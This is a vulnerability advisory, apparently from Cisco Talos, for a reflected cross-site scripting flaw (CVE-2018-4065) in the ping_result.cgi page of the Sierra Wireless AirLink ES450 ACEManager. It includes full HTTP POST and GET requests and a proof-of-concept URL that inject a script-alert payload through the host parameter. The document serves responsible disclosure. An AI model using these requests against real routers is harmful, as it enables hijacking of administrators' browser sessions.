Sierra Wireless AirLink ES450 ACEManager ping_result.cgi Cross Site Scripting

2019.04.28
Credit: Cisco Talos
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Talos Vulnerability Report TALOS-2018-0750 Sierra Wireless AirLink ES450 ACEManager ping_result.cgi Cross-Site Scripting Vulnerability April 25, 2019 CVE Number CVE-2018-4065 Summary An exploitable cross-site scripting vulnerability exists in the ACEManager ping_result.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP ping request can cause reflected javascript code execution, resulting in the execution of javascript code running on the victim's browser. An attacker can get a victim to click a link, or embedded URL, that redirects to the reflected cross-site scripting vulnerability to trigger this vulnerability. Tested Versions Sierra Wireless AirLink ES450 FW 4.9.3 Product URLs https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/ CVSSv3 Score 6.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Details Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration. ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN. The ping_result.cgi binary does not properly filter input before reflecting it back to the client. This improper filtering allows javascript to be injected into the response to the client. This can be used to run code on the client's browser, such as making requests on behalf of the user, or disclosing confidential tokens. POST Request POST /admin/tools/ping_result.cgi HTTP/1.1 Host: 192.168.13.31:9191 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.13.31:9191/admin/tools/ping.html Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 61 Cookie: token=5a412d6dbc3618b3e4ffd7219460f942 Connection: close host=192.168.13.31<script>alert('xss')</script> GET Request GET /admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E HTTP/1.1 Host: 192.168.13.31:9191 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: token=5a412d6dbc3618b3e4ffd7219460f942 Connection: close Upgrade-Insecure-Requests: 1 This vulnerability was discovered and tested using the AirLink ES450. Most likely this vulnerability also affects the AirLink GX450 product as well. Exploit Proof of Concept After authenticating to ACEManager navigate to http://192.168.13.31:9191/admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E to show the alert caused by cross-site scripting. Timeline 2018-12-14 - Vendor disclosure 2018-12-17 - Vendor acknowledged 2019-01-08 - Discussion to review vendor's analysis of issues 2019-03-26 - Vendor established timelines for fix/public disclosure 2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756 2019-04-25 - Public Release Credit Discovered by Carl Hurd of Cisco Talos.


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